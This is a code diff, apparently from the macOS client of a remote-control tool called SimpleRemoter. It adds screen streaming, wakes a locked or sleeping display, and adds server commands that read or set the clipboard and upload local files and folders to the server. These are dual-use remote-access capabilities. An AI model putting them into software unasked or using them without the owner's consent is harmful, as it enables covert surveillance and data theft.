std::vector<uint8_t> m_prevFrame;
|
||||||
std::vector<uint8_t> m_currFrame;
|
std::vector<uint8_t> m_currFrame;
|
||||||
std::vector<uint8_t> m_diffBuffer;
|
std::vector<uint8_t> m_diffBuffer;
|
||||||
|
std::vector<uint8_t> m_tempBuffer; // 临时缓冲区,避免每帧分配
|
||||||
|
|
||||||
// Quality settings
|
// Quality settings
|
||||||
std::atomic<uint8_t> m_algorithm;
|
std::atomic<uint8_t> m_algorithm;
|
||||||
@@ -132,4 +133,28 @@ private:
|
|||||||
|
|
||||||
// Input handler for mouse/keyboard control
|
// Input handler for mouse/keyboard control
|
||||||
std::unique_ptr<InputHandler> m_inputHandler;
|
std::unique_ptr<InputHandler> m_inputHandler;
|
||||||
|
|
||||||
|
// Power management: prevent display sleep during remote desktop
|
||||||
|
IOPMAssertionID m_displayAssertionID;
|
||||||
|
|
||||||
|
// Cached color space (avoid per-frame creation)
|
||||||
|
CGColorSpaceRef m_colorSpace;
|
||||||
|
|
||||||
|
// CGDisplayStream (efficient continuous capture)
|
||||||
|
CGDisplayStreamRef m_displayStream;
|
||||||
|
dispatch_queue_t m_streamQueue;
|
||||||
|
IOSurfaceRef m_latestSurface;
|
||||||
|
std::mutex m_surfaceMutex;
|
||||||
|
std::condition_variable m_surfaceCond;
|
||||||
|
std::atomic<bool> m_hasNewFrame;
|
||||||
|
|
||||||
|
// Initialize/cleanup display stream
|
||||||
|
bool initDisplayStream();
|
||||||
|
void cleanupDisplayStream();
|
||||||
|
|
||||||
|
// Process frame from IOSurface (called by stream callback)
|
||||||
|
void processIOSurface(IOSurfaceRef surface);
|
||||||
|
|
||||||
|
// Capture from IOSurface to buffer (with vertical flip)
|
||||||
|
bool captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1,13 +1,18 @@
|
|||||||
#import "ScreenHandler.h"
|
#import "ScreenHandler.h"
|
||||||
#import "H264Encoder.h"
|
#import "H264Encoder.h"
|
||||||
#import "InputHandler.h"
|
#import "InputHandler.h"
|
||||||
|
#import "ClipboardHandler.h"
|
||||||
#import "../client/IOCPClient.h"
|
#import "../client/IOCPClient.h"
|
||||||
#import "../common/commands.h"
|
#import "../common/commands.h"
|
||||||
|
#import "../common/FileTransferV2.h"
|
||||||
|
#import "../common/logger.h"
|
||||||
#import "Permissions.h"
|
#import "Permissions.h"
|
||||||
#import <Cocoa/Cocoa.h>
|
#import <Cocoa/Cocoa.h>
|
||||||
|
#import <chrono>
|
||||||
#import <CoreGraphics/CoreGraphics.h>
|
#import <CoreGraphics/CoreGraphics.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
#import <mach/mach_time.h>
|
#import <mach/mach_time.h>
|
||||||
|
#import <Accelerate/Accelerate.h>
|
||||||
|
|
||||||
// Global client ID (calculated in main.mm)
|
// Global client ID (calculated in main.mm)
|
||||||
extern uint64_t g_myClientID;
|
extern uint64_t g_myClientID;
|
||||||
@@ -26,9 +31,18 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
|
|||||||
, m_maxFPS(15)
|
, m_maxFPS(15)
|
||||||
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
||||||
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
||||||
|
, m_displayAssertionID(0)
|
||||||
|
, m_colorSpace(nullptr)
|
||||||
|
, m_displayStream(nullptr)
|
||||||
|
, m_streamQueue(nullptr)
|
||||||
|
, m_latestSurface(nullptr)
|
||||||
|
, m_hasNewFrame(false)
|
||||||
{
|
{
|
||||||
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
|
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
|
||||||
|
|
||||||
|
// Cache color space (avoid per-frame creation)
|
||||||
|
m_colorSpace = CGColorSpaceCreateDeviceRGB();
|
||||||
|
|
||||||
// Initialize input handler for mouse/keyboard control
|
// Initialize input handler for mouse/keyboard control
|
||||||
m_inputHandler = std::make_unique<InputHandler>();
|
m_inputHandler = std::make_unique<InputHandler>();
|
||||||
if (m_inputHandler->init()) {
|
if (m_inputHandler->init()) {
|
||||||
@@ -41,6 +55,13 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
|
|||||||
ScreenHandler::~ScreenHandler()
|
ScreenHandler::~ScreenHandler()
|
||||||
{
|
{
|
||||||
stop();
|
stop();
|
||||||
|
cleanupDisplayStream();
|
||||||
|
|
||||||
|
// Release cached color space
|
||||||
|
if (m_colorSpace) {
|
||||||
|
CGColorSpaceRelease(m_colorSpace);
|
||||||
|
m_colorSpace = nullptr;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool ScreenHandler::init()
|
bool ScreenHandler::init()
|
||||||
@@ -103,24 +124,273 @@ bool ScreenHandler::init()
|
|||||||
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
|
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||||
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
|
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
|
||||||
|
|
||||||
|
// Wake display if needed (do this early, before sending TOKEN_BITMAPINFO)
|
||||||
|
bool wasAsleep = CGDisplayIsAsleep(m_displayID);
|
||||||
|
bool isLocked = false;
|
||||||
|
CFDictionaryRef sessionInfo = CGSessionCopyCurrentDictionary();
|
||||||
|
if (sessionInfo) {
|
||||||
|
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
|
||||||
|
sessionInfo, CFSTR("CGSSessionScreenIsLocked"));
|
||||||
|
if (screenLocked && CFBooleanGetValue(screenLocked)) {
|
||||||
|
isLocked = true;
|
||||||
|
}
|
||||||
|
CFRelease(sessionInfo);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (wasAsleep || isLocked) {
|
||||||
|
NSLog(@"Waking display in init (asleep=%d, locked=%d)...", wasAsleep, isLocked);
|
||||||
|
|
||||||
|
// Create NoDisplaySleep assertion - this wakes the display
|
||||||
|
if (m_displayAssertionID == 0) {
|
||||||
|
IOReturn result = IOPMAssertionCreateWithName(
|
||||||
|
kIOPMAssertionTypeNoDisplaySleep,
|
||||||
|
kIOPMAssertionLevelOn,
|
||||||
|
CFSTR("SimpleRemoter - remote desktop session active"),
|
||||||
|
&m_displayAssertionID
|
||||||
|
);
|
||||||
|
if (result == kIOReturnSuccess) {
|
||||||
|
NSLog(@"Display assertion created (ID: %u)", m_displayAssertionID);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Declare user activity to ensure wake
|
||||||
|
IOPMAssertionID wakeAssertionID = 0;
|
||||||
|
IOPMAssertionDeclareUserActivity(
|
||||||
|
CFSTR("SimpleRemoter - waking display"),
|
||||||
|
kIOPMUserActiveLocal,
|
||||||
|
&wakeAssertionID
|
||||||
|
);
|
||||||
|
if (wakeAssertionID) {
|
||||||
|
IOPMAssertionRelease(wakeAssertionID);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Brief wait for loginwindow to render
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds(500));
|
||||||
|
NSLog(@"Display wake complete");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize CGDisplayStream for efficient capture
|
||||||
|
if (!initDisplayStream()) {
|
||||||
|
NSLog(@"Warning: CGDisplayStream init failed, falling back to legacy capture");
|
||||||
|
}
|
||||||
|
|
||||||
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
|
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool ScreenHandler::initDisplayStream()
|
||||||
|
{
|
||||||
|
// Create dispatch queue for stream callbacks
|
||||||
|
m_streamQueue = dispatch_queue_create("com.ghost.screenstream", DISPATCH_QUEUE_SERIAL);
|
||||||
|
if (!m_streamQueue) {
|
||||||
|
NSLog(@"Failed to create dispatch queue for display stream");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stream properties
|
||||||
|
CFMutableDictionaryRef properties = CFDictionaryCreateMutable(
|
||||||
|
kCFAllocatorDefault, 0,
|
||||||
|
&kCFTypeDictionaryKeyCallBacks,
|
||||||
|
&kCFTypeDictionaryValueCallBacks
|
||||||
|
);
|
||||||
|
|
||||||
|
// Request minimum frame interval based on FPS (e.g., 15 FPS = 1/15 sec)
|
||||||
|
int fps = m_maxFPS.load();
|
||||||
|
if (fps <= 0) fps = 15;
|
||||||
|
double interval = 1.0 / (double)fps;
|
||||||
|
CFNumberRef intervalRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberDoubleType, &interval);
|
||||||
|
CFDictionarySetValue(properties, kCGDisplayStreamMinimumFrameTime, intervalRef);
|
||||||
|
CFRelease(intervalRef);
|
||||||
|
|
||||||
|
// Show cursor in stream
|
||||||
|
CFDictionarySetValue(properties, kCGDisplayStreamShowCursor, kCFBooleanFalse);
|
||||||
|
|
||||||
|
// Preserve aspect ratio
|
||||||
|
CFDictionarySetValue(properties, kCGDisplayStreamPreserveAspectRatio, kCFBooleanTrue);
|
||||||
|
|
||||||
|
// Create the display stream with BGRA format
|
||||||
|
__block ScreenHandler* handler = this;
|
||||||
|
m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
|
||||||
|
m_displayID,
|
||||||
|
m_width,
|
||||||
|
m_height,
|
||||||
|
'BGRA', // Pixel format
|
||||||
|
properties,
|
||||||
|
m_streamQueue,
|
||||||
|
^(CGDisplayStreamFrameStatus status,
|
||||||
|
uint64_t displayTime,
|
||||||
|
IOSurfaceRef frameSurface,
|
||||||
|
CGDisplayStreamUpdateRef updateRef) {
|
||||||
|
(void)displayTime;
|
||||||
|
(void)updateRef;
|
||||||
|
|
||||||
|
if (status == kCGDisplayStreamFrameStatusFrameComplete && frameSurface) {
|
||||||
|
handler->processIOSurface(frameSurface);
|
||||||
|
} else if (status == kCGDisplayStreamFrameStatusFrameIdle) {
|
||||||
|
// Screen not changed, still notify for FPS timing
|
||||||
|
handler->m_hasNewFrame.store(true);
|
||||||
|
handler->m_surfaceCond.notify_one();
|
||||||
|
} else if (status == kCGDisplayStreamFrameStatusStopped) {
|
||||||
|
NSLog(@"CGDisplayStream stopped");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
|
||||||
|
CFRelease(properties);
|
||||||
|
|
||||||
|
if (!m_displayStream) {
|
||||||
|
NSLog(@"Failed to create CGDisplayStream");
|
||||||
|
m_streamQueue = nullptr; // ARC manages dispatch objects
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start the stream
|
||||||
|
CGError err = CGDisplayStreamStart(m_displayStream);
|
||||||
|
if (err != kCGErrorSuccess) {
|
||||||
|
NSLog(@"Failed to start CGDisplayStream: %d", err);
|
||||||
|
CFRelease(m_displayStream);
|
||||||
|
m_displayStream = nullptr;
|
||||||
|
m_streamQueue = nullptr; // ARC manages dispatch objects
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_width, m_height, fps);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ScreenHandler::cleanupDisplayStream()
|
||||||
|
{
|
||||||
|
if (m_displayStream) {
|
||||||
|
CGDisplayStreamStop(m_displayStream);
|
||||||
|
CFRelease(m_displayStream);
|
||||||
|
m_displayStream = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ARC manages dispatch objects, just nil the pointer
|
||||||
|
m_streamQueue = nullptr;
|
||||||
|
|
||||||
|
std::lock_guard<std::mutex> lock(m_surfaceMutex);
|
||||||
|
if (m_latestSurface) {
|
||||||
|
CFRelease(m_latestSurface);
|
||||||
|
m_latestSurface = nullptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void ScreenHandler::processIOSurface(IOSurfaceRef surface)
|
||||||
|
{
|
||||||
|
// Retain the surface and store it
|
||||||
|
std::lock_guard<std::mutex> lock(m_surfaceMutex);
|
||||||
|
|
||||||
|
if (m_latestSurface) {
|
||||||
|
CFRelease(m_latestSurface);
|
||||||
|
}
|
||||||
|
m_latestSurface = (IOSurfaceRef)CFRetain(surface);
|
||||||
|
m_hasNewFrame.store(true);
|
||||||
|
m_surfaceCond.notify_one();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ScreenHandler::captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer)
|
||||||
|
{
|
||||||
|
if (!surface) return false;
|
||||||
|
|
||||||
|
// Lock the surface for CPU read
|
||||||
|
IOSurfaceLock(surface, kIOSurfaceLockReadOnly, nullptr);
|
||||||
|
|
||||||
|
size_t width = IOSurfaceGetWidth(surface);
|
||||||
|
size_t height = IOSurfaceGetHeight(surface);
|
||||||
|
size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
|
||||||
|
void* baseAddr = IOSurfaceGetBaseAddress(surface);
|
||||||
|
|
||||||
|
if (!baseAddr || width != (size_t)m_width || height != (size_t)m_height) {
|
||||||
|
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure temp buffer is allocated
|
||||||
|
size_t requiredSize = m_width * 4 * m_height;
|
||||||
|
if (m_tempBuffer.size() != requiredSize) {
|
||||||
|
m_tempBuffer.resize(requiredSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy from IOSurface to temp buffer (handle different bytesPerRow)
|
||||||
|
size_t dstBytesPerRow = m_width * 4;
|
||||||
|
if (bytesPerRow == dstBytesPerRow) {
|
||||||
|
memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
|
||||||
|
} else {
|
||||||
|
// Row by row copy for different strides
|
||||||
|
uint8_t* src = (uint8_t*)baseAddr;
|
||||||
|
uint8_t* dst = m_tempBuffer.data();
|
||||||
|
for (size_t y = 0; y < height; y++) {
|
||||||
|
memcpy(dst + y * dstBytesPerRow, src + y * bytesPerRow, dstBytesPerRow);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
|
||||||
|
|
||||||
|
// Flip vertically using Accelerate framework (SIMD optimized)
|
||||||
|
vImage_Buffer src = {
|
||||||
|
.data = m_tempBuffer.data(),
|
||||||
|
.height = (vImagePixelCount)height,
|
||||||
|
.width = (vImagePixelCount)width,
|
||||||
|
.rowBytes = dstBytesPerRow
|
||||||
|
};
|
||||||
|
vImage_Buffer dst = {
|
||||||
|
.data = buffer.data(),
|
||||||
|
.height = (vImagePixelCount)height,
|
||||||
|
.width = (vImagePixelCount)width,
|
||||||
|
.rowBytes = dstBytesPerRow
|
||||||
|
};
|
||||||
|
|
||||||
|
vImage_Error err = vImageVerticalReflect_ARGB8888(&src, &dst, kvImageNoFlags);
|
||||||
|
if (err != kvImageNoError) {
|
||||||
|
// Fallback to manual flip
|
||||||
|
for (size_t y = 0; y < height; y++) {
|
||||||
|
memcpy(buffer.data() + (height - 1 - y) * dstBytesPerRow,
|
||||||
|
m_tempBuffer.data() + y * dstBytesPerRow,
|
||||||
|
dstBytesPerRow);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
|
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
|
||||||
{
|
{
|
||||||
if (m_running) return;
|
// If already running, just send TOKEN_BITMAPINFO again
|
||||||
|
// This allows server to create additional dialogs (MFC can open while Web is active)
|
||||||
|
if (m_running) {
|
||||||
|
NSLog(@"ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog");
|
||||||
|
sendBitmapInfo();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
m_client = client;
|
m_client = client;
|
||||||
m_clientID = clientID;
|
m_clientID = clientID;
|
||||||
m_running = true;
|
m_running = true;
|
||||||
|
|
||||||
|
// Display wake was already done in init(), just ensure assertion exists
|
||||||
|
if (m_displayAssertionID == 0) {
|
||||||
|
IOReturn result = IOPMAssertionCreateWithName(
|
||||||
|
kIOPMAssertionTypeNoDisplaySleep,
|
||||||
|
kIOPMAssertionLevelOn,
|
||||||
|
CFSTR("SimpleRemoter - remote desktop session active"),
|
||||||
|
&m_displayAssertionID
|
||||||
|
);
|
||||||
|
if (result == kIOReturnSuccess) {
|
||||||
|
NSLog(@"Display sleep disabled (ID: %u)", m_displayAssertionID);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
|
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
|
||||||
}
|
}
|
||||||
|
|
||||||
void ScreenHandler::stop()
|
void ScreenHandler::stop()
|
||||||
{
|
{
|
||||||
m_running = false;
|
m_running = false;
|
||||||
|
|
||||||
|
// Wake up capture thread if waiting
|
||||||
|
m_surfaceCond.notify_all();
|
||||||
|
|
||||||
if (m_captureThread.joinable()) {
|
if (m_captureThread.joinable()) {
|
||||||
m_captureThread.join();
|
m_captureThread.join();
|
||||||
}
|
}
|
||||||
@@ -130,6 +400,13 @@ void ScreenHandler::stop()
|
|||||||
m_h264Encoder->close();
|
m_h264Encoder->close();
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder.reset();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Release display sleep assertion - allow screen to turn off
|
||||||
|
if (m_displayAssertionID != 0) {
|
||||||
|
IOPMAssertionRelease(m_displayAssertionID);
|
||||||
|
NSLog(@"Display sleep re-enabled (released ID: %u)", m_displayAssertionID);
|
||||||
|
m_displayAssertionID = 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void ScreenHandler::sendBitmapInfo()
|
void ScreenHandler::sendBitmapInfo()
|
||||||
@@ -207,6 +484,125 @@ void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||||
|
// 服务端设置剪贴板: [cmd:1][text:N]
|
||||||
|
if (size > 1) {
|
||||||
|
if (ClipboardHandler::SetTextRaw((const char*)(data + 1), size - 1)) {
|
||||||
|
NSLog(@">>> Clipboard SET: %zu bytes", size - 1);
|
||||||
|
} else {
|
||||||
|
NSLog(@"*** Clipboard SET failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||||
|
// 服务端请求剪贴板: [cmd:1][hash:64][hmac:16]
|
||||||
|
// 返回: [TOKEN_CLIPBOARD_TEXT:1][text:N] 或 [COMMAND_GET_FOLDER:1][files]
|
||||||
|
{
|
||||||
|
// 优先检查剪贴板中的文件
|
||||||
|
auto files = ClipboardHandler::GetFiles();
|
||||||
|
if (!files.empty()) {
|
||||||
|
// 返回 COMMAND_GET_FOLDER + 文件列表(多字符串格式:file1\0file2\0\0)
|
||||||
|
std::vector<uint8_t> buf;
|
||||||
|
buf.push_back(COMMAND_GET_FOLDER);
|
||||||
|
for (const auto& f : files) {
|
||||||
|
// 文件路径需要转换为 GBK 编码(服务端预期)
|
||||||
|
std::string gbkPath = FileTransferV2::utf8ToGbk(f);
|
||||||
|
buf.insert(buf.end(), gbkPath.begin(), gbkPath.end());
|
||||||
|
buf.push_back(0); // 每个路径后的 null 终止符
|
||||||
|
}
|
||||||
|
buf.push_back(0); // 结束标记
|
||||||
|
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||||
|
NSLog(@">>> Clipboard GET: %zu files", files.size());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 没有文件,返回文本
|
||||||
|
std::string text = ClipboardHandler::GetText();
|
||||||
|
if (!text.empty()) {
|
||||||
|
std::vector<uint8_t> buf(1 + text.size());
|
||||||
|
buf[0] = TOKEN_CLIPBOARD_TEXT;
|
||||||
|
memcpy(&buf[1], text.data(), text.size());
|
||||||
|
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||||
|
NSLog(@">>> Clipboard GET: %zu bytes text", text.size());
|
||||||
|
} else {
|
||||||
|
// 返回空剪贴板
|
||||||
|
uint8_t empty = TOKEN_CLIPBOARD_TEXT;
|
||||||
|
m_client->Send2Server((char*)&empty, 1);
|
||||||
|
NSLog(@">>> Clipboard GET: empty");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case COMMAND_GET_FILE:
|
||||||
|
// Server requests file download: [cmd:1][targetDir\0][file1\0file2\0...\0]
|
||||||
|
// Use V2 protocol to upload files
|
||||||
|
{
|
||||||
|
if (size < 3) break;
|
||||||
|
|
||||||
|
// Parse target directory (GBK encoding)
|
||||||
|
const char* ptr = (const char*)(data + 1);
|
||||||
|
const char* end = (const char*)(data + size);
|
||||||
|
std::string targetDirGbk = ptr;
|
||||||
|
std::string targetDir = FileTransferV2::gbkToUtf8(targetDirGbk);
|
||||||
|
ptr += targetDirGbk.length() + 1;
|
||||||
|
|
||||||
|
// Parse file list
|
||||||
|
std::vector<std::string> files;
|
||||||
|
while (ptr < end && *ptr != '\0') {
|
||||||
|
std::string fileGbk = ptr;
|
||||||
|
files.push_back(FileTransferV2::gbkToUtf8(fileGbk));
|
||||||
|
ptr += fileGbk.length() + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果没有文件列表,从剪贴板获取
|
||||||
|
if (files.empty()) {
|
||||||
|
files = ClipboardHandler::GetFiles();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!files.empty() && !targetDir.empty()) {
|
||||||
|
NSLog(@">>> COMMAND_GET_FILE: %zu files -> %s", files.size(), targetDir.c_str());
|
||||||
|
|
||||||
|
// Use V2 protocol to send files
|
||||||
|
IOCPClient* client = m_client;
|
||||||
|
std::thread([files, targetDir, client]() {
|
||||||
|
// Collect all files (expand directories)
|
||||||
|
std::vector<std::string> allFiles;
|
||||||
|
std::vector<std::string> rootCandidates;
|
||||||
|
|
||||||
|
for (const auto& path : files) {
|
||||||
|
struct stat st;
|
||||||
|
if (stat(path.c_str(), &st) != 0) continue;
|
||||||
|
|
||||||
|
if (S_ISDIR(st.st_mode)) {
|
||||||
|
std::string dirPath = path;
|
||||||
|
if (dirPath.back() != '/') dirPath += '/';
|
||||||
|
size_t pos = dirPath.rfind('/', dirPath.length() - 2);
|
||||||
|
std::string parentPath = (pos != std::string::npos) ? dirPath.substr(0, pos + 1) : dirPath;
|
||||||
|
rootCandidates.push_back(parentPath);
|
||||||
|
FileTransferV2::CollectFiles(dirPath, allFiles);
|
||||||
|
} else {
|
||||||
|
rootCandidates.push_back(path);
|
||||||
|
allFiles.push_back(path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (allFiles.empty()) {
|
||||||
|
NSLog(@"*** No files to send");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string commonRoot = FileTransferV2::GetCommonRoot(rootCandidates);
|
||||||
|
NSLog(@">>> Sending %zu files, root=%s", allFiles.size(), commonRoot.c_str());
|
||||||
|
|
||||||
|
FileTransferV2::SendFilesV2(allFiles, targetDir, commonRoot, client, g_myClientID);
|
||||||
|
}).detach();
|
||||||
|
} else {
|
||||||
|
NSLog(@"*** COMMAND_GET_FILE: no files or empty target");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -216,35 +612,67 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
|
|||||||
{
|
{
|
||||||
m_qualityLevel = level;
|
m_qualityLevel = level;
|
||||||
|
|
||||||
|
// TODO: persist to config file if needed
|
||||||
|
(void)persist;
|
||||||
|
|
||||||
if (level == QUALITY_DISABLED) {
|
if (level == QUALITY_DISABLED) {
|
||||||
NSLog(@"Quality: Disabled");
|
// Disabled mode: keep current settings
|
||||||
|
NSLog(@"Quality: Disabled (keep current)");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Quality profiles: [FPS, Algorithm]
|
|
||||||
// H264 provides best compression for remote desktop
|
|
||||||
// Note: macOS uses slightly higher FPS than Windows for smoother experience
|
|
||||||
static const int profiles[QUALITY_COUNT][2] = {
|
|
||||||
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
|
|
||||||
{10, ALGORITHM_RGB565}, // Level 1: Low
|
|
||||||
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
|
|
||||||
{20, ALGORITHM_H264}, // Level 3: Good
|
|
||||||
{25, ALGORITHM_H264}, // Level 4: High
|
|
||||||
{30, ALGORITHM_H264}, // Level 5: Smooth
|
|
||||||
};
|
|
||||||
|
|
||||||
if (level >= 0 && level < QUALITY_COUNT) {
|
if (level >= 0 && level < QUALITY_COUNT) {
|
||||||
m_maxFPS.store(profiles[level][0]);
|
// Get profile from commands.h (shared with Windows/Linux)
|
||||||
m_algorithm.store(profiles[level][1]);
|
const QualityProfile& profile = GetQualityProfile(level);
|
||||||
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
|
|
||||||
|
// Apply FPS
|
||||||
|
m_maxFPS.store(profile.maxFPS);
|
||||||
|
|
||||||
|
// Apply algorithm (macOS supports all algorithms including H264 via VideoToolbox)
|
||||||
|
m_algorithm.store(profile.algorithm);
|
||||||
|
|
||||||
|
// Update H264 bitrate if applicable
|
||||||
|
if (profile.algorithm == ALGORITHM_H264 && profile.bitRate > 0) {
|
||||||
|
m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps
|
||||||
|
}
|
||||||
|
|
||||||
|
NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
|
||||||
|
level,
|
||||||
|
level == QUALITY_ULTRA ? "Ultra" :
|
||||||
|
level == QUALITY_HIGH ? "High" :
|
||||||
|
level == QUALITY_GOOD ? "Good" :
|
||||||
|
level == QUALITY_MEDIUM ? "Medium" :
|
||||||
|
level == QUALITY_LOW ? "Low" : "Minimal",
|
||||||
|
profile.maxFPS, profile.algorithm, profile.bitRate);
|
||||||
} else {
|
} else {
|
||||||
|
// Adaptive mode (level=-1): server adjusts dynamically
|
||||||
NSLog(@"Quality: Adaptive mode");
|
NSLog(@"Quality: Adaptive mode");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
||||||
{
|
{
|
||||||
// Create image from display
|
// Try to use IOSurface from display stream (more efficient)
|
||||||
|
if (m_displayStream) {
|
||||||
|
IOSurfaceRef surface = nullptr;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_surfaceMutex);
|
||||||
|
if (m_latestSurface) {
|
||||||
|
surface = (IOSurfaceRef)CFRetain(m_latestSurface);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (surface) {
|
||||||
|
bool result = captureFromIOSurface(surface, buffer);
|
||||||
|
CFRelease(surface);
|
||||||
|
if (result) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Fall through to legacy method if IOSurface failed
|
||||||
|
}
|
||||||
|
|
||||||
|
// Legacy method: CGDisplayCreateImage (fallback)
|
||||||
CGImageRef image = CGDisplayCreateImage(m_displayID);
|
CGImageRef image = CGDisplayCreateImage(m_displayID);
|
||||||
if (!image) {
|
if (!image) {
|
||||||
NSLog(@"Failed to capture screen image");
|
NSLog(@"Failed to capture screen image");
|
||||||
@@ -255,50 +683,59 @@ bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
|||||||
size_t height = CGImageGetHeight(image);
|
size_t height = CGImageGetHeight(image);
|
||||||
|
|
||||||
if (width != (size_t)m_width || height != (size_t)m_height) {
|
if (width != (size_t)m_width || height != (size_t)m_height) {
|
||||||
// Screen resolution changed, need to reinitialize
|
|
||||||
CGImageRelease(image);
|
CGImageRelease(image);
|
||||||
NSLog(@"Screen resolution changed: %zux%zu", width, height);
|
NSLog(@"Screen resolution changed: %zux%zu", width, height);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create bitmap context to get raw pixel data
|
|
||||||
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
|
|
||||||
size_t bytesPerRow = width * 4;
|
size_t bytesPerRow = width * 4;
|
||||||
|
size_t requiredSize = bytesPerRow * height;
|
||||||
// Temporary buffer for top-down BGRA
|
if (m_tempBuffer.size() != requiredSize) {
|
||||||
std::vector<uint8_t> tempBuffer(bytesPerRow * height);
|
m_tempBuffer.resize(requiredSize);
|
||||||
|
}
|
||||||
|
|
||||||
CGContextRef context = CGBitmapContextCreate(
|
CGContextRef context = CGBitmapContextCreate(
|
||||||
tempBuffer.data(),
|
m_tempBuffer.data(),
|
||||||
width,
|
width,
|
||||||
height,
|
height,
|
||||||
8,
|
8,
|
||||||
bytesPerRow,
|
bytesPerRow,
|
||||||
colorSpace,
|
m_colorSpace,
|
||||||
